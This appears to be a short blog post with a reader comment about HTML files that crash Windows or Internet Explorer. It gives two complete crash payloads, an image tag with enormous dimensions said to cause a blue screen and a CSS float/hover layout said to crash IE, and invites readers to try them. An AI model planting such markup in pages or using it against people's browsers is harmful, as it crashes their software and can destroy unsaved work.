Crashing Windows with HTML

This small HTML file will on some computers drive Windows into a blue screen:

<html>
<body>
<img src="image.jpg" width="9999999" height="9999999">
</body>
</html>

Try it out if you want by clicking here.

No luck for me. Works fine in Firefox, and IE stopped responding, but I didn't get any bluescreen.

Try this with IE/Win:

<!DOCTYPE HTML>
<title>IE crash</title>
<style>
li { display:inline; }
a { float:left; clear:left; width:100%; }
a:hover { background:lime; color:black; }
</style>
<ul>
<li><a href="#">foo</a>
<li><a href="#">bar</a>
<li><a href="#">baz</a>
</ul>
